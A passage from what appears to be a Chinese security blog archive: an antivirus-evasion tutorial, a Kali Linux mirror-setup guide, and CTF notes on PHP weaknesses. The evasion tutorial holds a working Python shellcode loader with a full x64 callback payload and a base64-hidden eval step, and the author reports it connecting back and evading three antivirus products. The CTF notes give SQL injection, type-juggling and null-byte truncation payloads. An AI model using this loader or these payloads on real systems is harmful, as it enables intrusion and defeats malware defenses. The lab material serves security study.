其中参数 -F 是为了将程序打包为一个exe文件，而且不产生其他的文件

打包完成之后，本地会生成一个dist的文件夹，在这个文件夹里就有一个打包好的exe文件

运行试试：

此时程序运行正常，解析来就是反编译了

4.3 反编译_pyc

针对pyinstaller打包之后的exe反编译工具：pyinstxtractor.py

PyInstaller Extractor是可以提取出PyInstaller所创建的exe文件为pyc格式。

下载链接：

https://sourceforge.net/projects/pyinstallerextractor/

将需要反编译的exe和pyinstxtractor.py放到同一个目录下直接运行

python pyinstxtractor.py 01_easy.exe

解密成功之后，会生成一个xxx.exe_extracted的文件夹

4.4 pyc到源码

所以在这里可以通过struct文件来获取其中的信息，再添加到01_easy文件里面去

因此这里将两个文件单独复制出来，通过16进制查看工具来查看下文件，Windows系统下可以使用winhex，mac系统下可以使用010 editor

通过对比可以发现，struct比01_easy多了8个字节

因此这里可以将这些字节复制插入到01_easy中去。

在这里新建了一个文件，将两个进行结合

再将文件保存为01_easy.pyc

得到pyc文件之后就比较容易后去源代码了，这里有两种方法，一个是在线反编译，另一种是使用uncompyle6

其中在线反编译地址为：

https://tool.lu/pyc

在线反编译效果

可以看到这个效果不是很好，有一部分代码并没有成功编译出来

那试试uncompyle6，目前可以在python3上使用pip的方式进行安装pip3 install uncompyle6

然后直接使用命令uncompyle6 01_easy.pyc

可以将文件内容保存到一个文本中

uncompyle6 01_easy.pyc > 01_easy.py

打开之后：

效果要比在线反编译效果好很多。

5. 免杀exe反编译测试

这里将上述的任意exe文件拿来进行测试

执行

python pyinstxtractor.py py_shellcode.exe

取出其中的py_shellcode和struct文件

使用同样的方法进行补充，将文件另存为shellcode.pyc

再将pyc文件转化为源码格式

uncompyle6 shellcode.pyc

将文件保存到一个py文件中去

uncompyle6 shellcode.pyc > shellcode.py

打开文件：

这里可以发现，除了shellcode无法完全还原之外，其他的信息基本上都可以还原，而且准确率很高。

这里对文件进行VT查杀

https://www.virustotal.com/gui/file/bfa0d02e8c1f03189613fbb2188dd20c993ad830c40eeef93480e8b9e4719b92/detection

6. pyinstaller加密打包exe

在使用pyinstaller的时候，可以使用--key参数对生成的exe进行加密，在使用这个参数的时候需要pycrypto库，可以通过pip的方式进行安装，但是保不齐安装的时候会出现一些问题，这里就不再对此展开讲解，直接进行使用。

pyinstaller -F --key crow123321  --noconsole py_shellcode.py

其中--key之后的数字可以自定义

同样的，将两个文件放在一起进行逆向得到pyc文件

python pyinstxtractor.py py_shellcode.exe

开始报错，但是依旧可以生成相应的文件夹

这里使用同样的方法来对这两个文件进行测试，将新生成的文件保存为shellcode_key.pyc

uncompyle6 shellcode_key.pyc

将文件重定向到py文件里面去

打开之后发现，文件和未使用--key参数的效果基本没什么变化。

--key的参数针对的只是依赖库进行了加密而已。

7. python打包的exe如何加密

总体上来讲，python打包的exe都是可以破解的，就算使用cython来写，依旧是可以破解的，只是时间问题而已，但是在这还是提出一些略微有效的方法（自欺欺人）

将所有的代码进行封装为一个函数，在一个新的文件中引用，其中py_shellcode_fuzz.py里的文件内容不变，只不过将其封装为一个函数，test.py来调用这个函数

py_shellcode_fuzz.py：

# -*- encoding: utf-8 -*-
# Time : 2021/06/17 17:12:27
# Author: crow
 
 
 
import ctypes,base64
 
 
def shell():
    shellcode =  b""
    shellcode += b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x21\x03\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x43\x4e\x53\x79\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x37\x2e\x30\x3b\x20\x72\x76\x3a\x31\x31\x2e\x30\x29\x20\x6c\x69\x6b\x65\x20\x47\x65\x63\x6b\x6f\x0d\x0a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x30\x2e\x32\x31\x31\x2e\x35\x35\x2e\x32\x00\x00\x00\x00\x00"
 
 
 
    shellcode = bytearray(shellcode)
    # 设置VirtualAlloc返回类型为ctypes.c_uint64
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    # 申请内存
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
 
    # 放入shellcode
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
 
 
    string = """Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLCBidWYsIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkp"""
    eval(base64.b64decode(string))
 
    # 创建一个线程从shellcode防止位置首地址开始执行
    handle = ctypes.windll.kernel32.CreateThread(
        ctypes.c_int(0), 
        ctypes.c_int(0), 
        ctypes.c_uint64(ptr), 
        ctypes.c_int(0), 
        ctypes.c_int(0), 
        ctypes.pointer(ctypes.c_int(0))
    )
    # 等待上面创建的线程运行完
    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
 
if __name__ == '__main__':
    shell()

test.py

# -*- encoding: utf-8 -*-
# Time : 2021/06/17 17:00:27
# Author: crow
import ctypes
from py_shellcode import shell 
 
 
if __name__ == '__main__':
    shell()

直接运行

python py_shellcode_fuzz.py

上线正常

使用test.py调用该文件

python test.py 上线正常

然后再对文件进行打包

首先使用pyinstaller直接打包

pyinstaller -F --noconsole test.py

直接在dist文件夹下尝试获取pyc文件

python pyinstxtractor.py test.exe

将这两个文件单独拿出来，重复同样的操作

uncompyle6 get.pyc

将文件保存起来

这里就无法找到py_shell_fuzz中的内容了，那文件到底在哪呢？

我们将反编译之后的PYZ-00.pyz_extracted文件夹找到了该pyc文件

对该pyc文件直接进行解密

uncompyle6  py_shellcode_fuzz.pyc

报错，这里使用010 editor分析下pyc文件

通过与get.pyc对比发现，这里少了4个字节，因此需要对其进行补全

将文件保存为new_py_shell.pyc

再对其进行解密

uncompyle6  new_py_shell.pyc

再将文件保存起来

uncompyle6  new_py_shell.pyc > new_shell.py

此时该文件被完全解密

此时将文件使用VT查杀测试

VT 查杀

https://www.virustotal.com/gui/file-analysis/MWM3N2M3NmExNjhlZmZkMDNmZDZkMTY2MzU1YWZjMzI6MTYyMzk0MTQwMQ==/detection

8. pyinstaller使用key参数打包exe

在上文中pyinstaller中--key参数可以对依赖库进行了加密，因此在这里尝试使用--key参数重新打包一下

pyinstaller -F --key crowcrow --noconsole test.py

直接在dist文件夹下尝试获取pyc文件

python pyinstxtractor.py test.exe

这里该失败的失败，该成功的成功

同样的手法，对下面箭头的文件进行解密

得到文件final.pyc

uncompyle6 final.pyc

这里和上面的也是一样的，显示从py_shellcode_fuzz中调用了shell函数。那就去同样的位置去找py_shellcode_fuzz.pyc文件。

但是这里可以看到py_shellcode_fuzz.pyc已经被加密变成了py_shellcode_fuzz.pyc.encrypted文件格式。

将该文件使用010 editor打开，通过对比发现，该文件已经被加密，无法使用uncompyle6对其进行解密，当然这个文件依旧可以解密，但是解密成本要远高于目前的手法。

此时对原来的文件双击测试

依旧可以上线

VT查杀：

https://www.virustotal.com/gui/file/c2b081a565dbd4848eff43a9bae0da4da5cd8945f12b053470484cdb2df838fc/detection

9. 总结

本文使用了最基本的shellcode加载器免杀的方法，而且一起学习了pyinstaller打包exe的反编译方式，也顺便免杀了火绒、360、Windows Defender，当然从该文章发出来的那一刻起，可能免杀就不再有效了，不过，方法千千万，免杀没有那么难。

kali更新源后桌面打不开

Thu, 15 Apr 2021 18:35:00 GMT

1、标题切换到root用户

su - root

2、更改apt源为国内源，保存并退出

vim /etc/apt/sources.list

以下三个源都可写入，建议只填写一个阿里源。添加太多在更新软件列表和程序可能要花费很多时间。

#阿里源
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
#中科大kali源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
#清华大学
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

3、更新系统

sudo apt update && apt upgrade && apt dist-upgrade

sudo apt-get clean

如果看到这句话的时候，apt --fix-broken install***** 直接敲apt --fix-broken install

4、安装xorg（xfce4环境必备）

sudo apt-get install xorg

5、安装Xfce4桌面环境

sudo apt-get install kali-defaults kali-root-login desktop-base xfce4 xfce4-places-plugin xfce4-goodies

6、解决桌面环境乱码问题

sudo apt install ttf-wqy-zenhei

重启计算机，之后便可正常使用图形界面

reboot

CTF中常见PHP特性学习笔记

Thu, 15 Apr 2021 17:07:00 GMT

CTF中常见PHP特性学习笔记

01 extract变量覆盖

code

<?php
$flag='xxx'; 
extract($_GET);
 if(isset($shiyan))
 { 
    $content=trim(file_get_contents($flag));
    if($shiyan==$content)
    { 
        echo'ctf{xxx}'; 
    }
   else
   { 
    echo'Oh.no';
   } 
   }
?>

writeup

资料：

PHP extract() 函数

http://localhost/php_bugs/extract1.php?shiyan=&flag=1

02 绕过trim函数过滤

code

<?php
 
$info = ""; 
$req = [];
$flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
 
ini_set("display_error", false); //为一个配置选项设置值
error_reporting(0); //关闭所有PHP错误报告
 
if(!isset($_GET['number'])){
   header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txt
 
   die("have a fun!!"); //die — 等同于 exit()
 
}
 
foreach([$_GET, $_POST] as $global_var) {  //foreach 语法结构提供了遍历数组的简单方式 
    foreach($global_var as $key => $value) { 
        $value = trim($value);  //trim — 去除字符串首尾处的空白字符（或者其他字符）
        is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串，addslashes — 使用反斜线引用字符串
    } 
} 
 
 
function is_palindrome_number($number) { 
    $number = strval($number); //strval — 获取变量的字符串值
    $i = 0; 
    $j = strlen($number) - 1; //strlen — 获取字符串长度
    while($i < $j) { 
        if($number[$i] !== $number[$j]) { 
            return false; 
        } 
        $i++; 
        $j--; 
    } 
    return true; 
} 
 
 
if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串 
{
 
   $info="sorry, you cann't input a number!";
 
}
elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值
{
 
     $info = "number must be equal to it's integer!! ";  
 
}
else
{
 
     $value1 = intval($req["number"]);
     $value2 = intval(strrev($req["number"]));  
 
     if($value1!=$value2){
          $info="no, this is not a palindrome number!";
     }
     else
     {
 
          if(is_palindrome_number($req["number"])){
              $info = "nice! {$value1} is a palindrome number!"; 
          }
          else
          {
             $info=$flag;
          }
     }
 
}
 
echo $info;

writeup

由于is_numeric没有检测\0(%00)，所以导致is_numeric($_REQUEST['number'])为False，成功跳过检测。

由于trim函数没有过滤\f(%0c)，而intval函数而跳过\f(%0c)，导致$value1和$value2都为相等，进入到is_palindrome_number函数成功通过$number[$i] !== $number[$j]检测返回false，最终进入到获取$flag最后的else里。

http://localhost/php_bugs/02.php?number=%0c1

资料

PHP类型与逻辑+fuzz与源代码审计

03 多重加密

code

<?php
    include 'common.php';
    $requset = array_merge($_GET, $_POST, $_COOKIE);
    //把一个或多个数组合并为一个数组
    class db
    {
        public $where;
        function __wakeup()
        {
            if(!empty($this->where))
            {
                $this->select($this->where);
            }
        }
        function select($where)
        {
            $sql = mysql_query('select * from user where '.$where);
            //函数执行一条 MySQL 查询。
            return @mysql_fetch_array($sql);
            //从结果集中取得一行作为关联数组，或数字数组，或二者兼有返回根据从结果集取得的行生成的数组，如果没有更多行则返回 false
        }
    }

    if(isset($requset['token']))
    //测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。
    {
        $login = unserialize(gzuncompress(base64_decode($requset['token'])));
        //gzuncompress:进行字符串压缩
        //unserialize: 将已序列化的字符串还原回 PHP 的值

        $db = new db();
        $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
        //mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

        if($login['user'] === 'ichunqiu')
        {
            echo $flag;
        }else if($row['pass'] !== $login['pass']){
            echo 'unserialize injection!!';
        }else{
            echo "(╯‵□′)╯︵┴─┴ ";
        }
    }
    // else{
    //     header('Location: index.php?error=1');
    // }

?>

writeup

<?php
$arr = array(['user'] === 'ichunqiu');
$token = base64_encode(gzcompress(serialize($arr)));
print_r($token);
?>
eJxLtDK0qs60MrBOAuJaAB5uBBQ=
http://127.0.0.1/php_bugs/03.php?token=eJxLtDK0qs60MrBOAuJaAB5uBBQ=

04 SQL注入WITH ROLLUP绕过

code

<?php
error_reporting(0);

if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
    echo '<form action="" method="post">'."<br/>";
    echo '<input name="uname" type="text"/>'."<br/>";
    echo '<input name="pwd" type="text"/>'."<br/>";
    echo '<input type="submit" />'."<br/>";
    echo '</form>'."<br/>";
    echo '<!--source: source.txt-->'."<br/>";
    die;
}

function AttackFilter($StrKey,$StrValue,$ArrReq){  
    if (is_array($StrValue)){

//检测变量是否是数组

        $StrValue=implode($StrValue);

//返回由数组元素组合成的字符串

    }
    if (preg_match("/".$ArrReq."/is",$StrValue)==1){   

//匹配成功一次后就会停止匹配

        print "水可载舟，亦可赛艇！";
        exit();
    }
}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){ 

//遍历数组

    AttackFilter($key,$value,$filter);
}

$con = mysql_connect("localhost","root","root");
if (!$con){
    die('Could not connect: ' . mysql_error());
}
$db="test";
mysql_select_db($db, $con);

//设置活动的 MySQL 数据库

$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
echo $sql;
echo "</br>";
$query = mysql_query($sql); 

//执行一条 MySQL 查询
var_dump(mysql_num_rows($query));
echo "</br>";
if (mysql_num_rows($query) == 1) { 

//返回结果集中行的数目

    $key = mysql_fetch_array($query);

//返回根据从结果集取得的行生成的数组，如果没有更多行则返回 false

    if($key['pwd'] == $_POST['pwd']) {
        print "CTF{XXXXXX}";
    }else{
        print "亦可赛艇！";
    }
}else{
    print "一颗赛艇！";
}
mysql_close($con);
?>

writeup

资料：

pwd&uname=admin' group by pwd with rollup limit 1 offset 1#--

05 ereg正则%00截断

code

<?php 

$flag = "flag";

if (isset ($_GET['password'])) 
{
  if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
  {
    echo '<p>You password must be alphanumeric</p>';
  }
  else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
   {
     if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos — 查找字符串首次出现的位置
      {
      die('Flag: ' . $flag);
      }
      else
      {
        echo('<p>*-* have not been found</p>'); 
       }
      }
     else 
     {
        echo '<p>Invalid password</p>'; 
      }
   } 
?>

writeup

资料：

eregi()

http://localhost/php_bugs/05.php?password=1e9%00*-*

06 strcmp比较字符串

code

<?php
$flag = "flag";
if (isset($_GET['a'])) {  
    if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0； 如果 str1大于 str2返回 > 0；如果两者相等，返回 0。 

    //比较两个字符串（区分大小写） 
        die('Flag: '.$flag);  
    else  
        print 'No';  
}

?>

writeup

int strcmp ( string $str1 , string $str2 )
// 参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0； 如果 str1 大于 str2 返回 > 0；如果两者相等，返回 0。

在PHP官方文档中，说明了strcmp函数在5.2版本和5.3版本的区别。

Note a difference between 5.2 and 5.3 versions

echo (int)strcmp(‘pending’,array()); will output -1 in PHP 5.2.16 (probably in all versions prior 5.3) but will output 0 in PHP 5.3.3

Of course, you never need to use array as a parameter in string comparisions.

5.3之前版本如果传入数组参数strcmp函数将会返回-1：

在5.3.3版本之后使用这个函数传入数组参数比较会返回0，也就是判定其相等，后来PHP官方后面的版本中修复了这个漏洞，当传入非字符串参数导致报错的时函数不返回任何值，也就是返回NULL，但是由于这里==弱类型判断，导致NULL==0为 bool(true)。

http://localhost/php_bugs/06.php?a[]=1

07 sha()函数比较绕过

code

<?php

$flag = "flag";

if (isset($_GET['name']) and isset($_GET['password'])) 
{
    var_dump($_GET['name']);
    echo "</br>";
    var_dump($_GET['password']);
    var_dump(sha1($_GET['name']));
    var_dump(sha1($_GET['password']));
    if ($_GET['name'] == $_GET['password'])
        echo '<p>Your password can not be your name!</p>';
    else if (sha1($_GET['name']) === sha1($_GET['password']))
      die('Flag: '.$flag);
    else
        echo '<p>Invalid password.</p>';
}
else
    echo '<p>Login first!</p>';
?>

writeup

由于sha1()函数和md5()函数在处理传入参数为数组时会报警并都返回NULL，构造并传入2个不同数组便可以成功通过if ($_GET['name'] == $_GET['password'])和else if (sha1($_GET['name']) === sha1($_GET['password']))检测。

http://localhost/php_bugs/07.php?name[]=1&password[]=2

08 SESSION验证绕过

<html>  
<head>  
    <title>Get flag</title>
</head>  
<body>  
 
<?php  
session_start();   
  
require 'flag.php';  
  
if (isset ($_GET['password'])) {  
    if ($_GET['password'] == $_SESSION['password'])  
        die ('Flag: '.$flag);  
    else  
        print '<p class="alert">Wrong guess.</p>';  
}  
  
// Unpredictable seed  
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));  
?>  
  
<section class="login">    
        <ul class="list">  
        <?php  
        for ($i=0; $i<3; $i++)  
            print '<li>' . mt_rand (0, 0xffffff) . '</li>';  
        $_SESSION['password'] = mt_rand (0, 0xffffff);  
        ?>  
        </ul>  
  
        <form method="get">  
                <input type="text" required name="password" placeholder="Next number" /><br/>  
                <input type="submit"/>  
        </form>  
</section>  
</body>  
</html>

writeup

关键判断语句if ($_GET['password'] == $_SESSION['password'])，可以手动删除请求时的cookies，使$_SESSION['password']字段为NULL，并使传入password参数为NULL。

http://localhost/php_bugs/08.php?password=

资料：

【Writeup】Boston Key Party CTF 2015(部分题目)

09 密码md5比较绕过

code

<?php

//配置数据库
if($_POST[user] && $_POST[pass]) {
    $conn = mysql_connect("localhost", "root", "root");
    mysql_select_db("test") or die("Could not select database");
    if ($conn->connect_error) {
        die("Connection failed: " . mysql_error($conn));
}

//赋值

$user = $_POST[user];
$pass = md5($_POST[pass]);

//sql语句

$sql = "select pwd from test where user='$user'";
$query = mysql_query($sql);
if (!$query) {
    printf("Error: %s\n", mysql_error($conn));
    exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);

  if (($row[pwd]) && (!strcasecmp($pass, $row[pwd]))) {

//如果 str1 小于 str2 返回 < 0； 如果 str1 大于 str2 返回 > 0；如果两者相等，返回 0。


    echo "<p>Logged in! Key:************** </p>";
}
else {
    echo("<p>Log in failure!</p>");

  }
}
?>

writeup

?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456

资料：

DUTCTF-2015-Writeup

10 urldecode二次编码绕过

code

<?php
if(eregi("hackerDJ",$_GET[id])) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
  echo "<p>Access granted!</p>";
  echo "<p>flag: {*****************} </p>";
}
?>

h的URL编码为：%68，二次编码为%2568，绕过

http://localhost/php_bugs/10.php?id=%2568ackerDJ

资料：

URL编码表

11 sql闭合绕过

code

<?php
if($_POST[user] && $_POST[pass]) {
    $conn = mysql_connect("localhost", "root", "root");
    mysql_select_db("test") or die("Could not select database");
    if ($conn->connect_error) {
        die("Connection failed: " . mysql_error($conn));
} 
$user = $_POST[user];
$pass = md5($_POST[pass]);

//exp:pass=1&user=admin')#
//sql:select user from test where (user='admin')#

$sql = "select user from test where (user='$user') and (pwd='$pass')";
echo $sql;
$query = mysql_query($sql);
if (!$query) {
    printf("Error: %s\n", mysql_error($conn));
    exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pwd"];
  if($row['user']=="admin") {
    echo "<p>Logged in! Key: *********** </p>";
  }

  if($row['user'] != "admin") {
    echo("<p>You are not admin!</p>");
  }
}

?>

构造exp闭合绕过 pass=1&user=admin')#

12 X-Forwarded-For绕过指定IP地址

code

<?php
function GetIP(){
if(!empty($_SERVER["HTTP_CLIENT_IP"]))
    $cip = $_SERVER["HTTP_CLIENT_IP"];
else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
    $cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"]))
    $cip = $_SERVER["REMOTE_ADDR"];
else
    $cip = "0.0.0.0";
return $cip;
}

$GetIPs = GetIP();
if ($GetIPs=="1.1.1.1"){
echo "Great! Key is *********";
}
else{
echo "错误！你的IP不在访问列表之内！";
}
?>

writeup

HTTP`头添加`X-Forwarded-For:1.1.1.1

13 md5加密相等绕过

code

<?php

$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
    echo "flag{*****************}";
} else {
    echo "false!!!";
}}
else{echo "please input a";}

?>

writeup

http://localhost/php_bugs/13.php?a=240610708

==对比的时候会进行数据转换，根据PHP手册的描述：如果比较一个数字和字符串或者比较涉及到数字内容的字符串，则字符串会被转换为数值并且比较按照数值来进行。其中0e是科学计数法，因为涉及到数字内容，所以就会转换为数值，而0e830400451993494058024219903391转换为数值也就是0*(10^830400451993494058024219903391) = 0，因此只需找到生成的MD5值类似0exxxxxxxxx的字符串即可。

md5('240610708'); // 0e462097431906509019562988736854 
md5('QNKCDZO'); // 0e830400451993494058024219903391

14 intval函数向下取整

code

<?php
if($_GET[id]) {
    $conn = mysql_connect("localhost", "root", "root");
    mysql_select_db("test") or die("Could not select database");
    if ($conn->connect_error) {
      die("Connection failed: " . mysql_error($conn));
    }
  $id = intval($_GET[id]);
  echo $id;
  $query = @mysql_fetch_array(mysql_query("select flag from ctf where id='$id'"));
  echo $_GET[id];
  if ($_GET[id]==1024) {
    echo "<p>no! try again</p>";
  }
  else{
    echo($query[flag]);
  }
}
?>

1024.1绕过

writeup

资料：

PHP intval()函数利用

15 strpos数组绕过NULL与ereg正则%00截断

code

<?php

$flag = "flag";

    if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
            echo '必须输入数字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
        else
            echo '骚年，继续努力吧啊~';
    }

 ?>

writeup

方法一：既要是纯数字,又要有’#biubiubiu’，strpos()找的是字符串,那么传一个数组给它,strpos()出错返回null,null!==false,所以符合要求. 所以输入nctf[]= 那为什么ereg()也能符合呢?因为ereg()在出错时返回的也是null,null!==false,所以符合要求.
方法二：字符串截断,利用ereg()的NULL截断漏洞，绕过正则过滤 http://localhost/php_bugs/16.php?nctf=1%00#biubiubiu 错误需将#编码 http://localhost/php_bugs/16.php?nctf=1%00%23biubiubiu 正确

16 SQL注入or绕过

code

<?php

#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';

function clean($str){
    if(get_magic_quotes_gpc()){ //get_magic_quotes_gpc — 获取当前 magic_quotes_gpc 的配置选项设置
        $str=stripslashes($str); //返回一个去除转义反斜线后的字符串（\' 转换为 ' 等等）。双反斜线（\\）被转换为单个反斜线（\）。 
    }
    return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

//$query='SELECT * FROM users WHERE name=\''admin\'\' AND pass=\''or 1 #'\';';

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
    die('Invalid password!');
}

echo $flag;

?>

writeup

$query='SELECT * FROM users WHERE name=\''admin\'\' AND pass=\''or 1 #'\';';
?username=admin\'\' AND pass=\''or 1 #&password=

17 密码md5比较绕过

code

<?php

if($_POST[user] && $_POST[pass]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = $_POST[user];
  $pass = md5($_POST[pass]);
  $query = @mysql_fetch_array(mysql_query("select pw from ctf where user=' $user '"));
  if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {

    //strcasecmp:0 - 如果两个字符串相等

      echo "<p>Logged in! Key: flag{**************} </p>";
  }
  else {
